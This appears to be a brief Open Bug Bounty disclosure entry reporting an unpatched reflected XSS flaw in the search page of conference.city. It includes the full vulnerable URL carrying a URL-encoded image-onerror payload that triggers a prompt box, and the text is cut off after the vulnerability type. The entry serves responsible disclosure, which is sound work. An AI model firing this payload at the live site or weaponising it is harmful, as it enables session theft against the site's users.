conference.city XSS vulnerability

Vulnerable URL: http://www.conference.city/page/search.php?searchkeyword=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%22OPENBUGBOUNTY%22%29%3B%3E=0=0from=2017-08-30to=2019-08-29=relevance Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.11.2017 Vulnerability type:| XSS...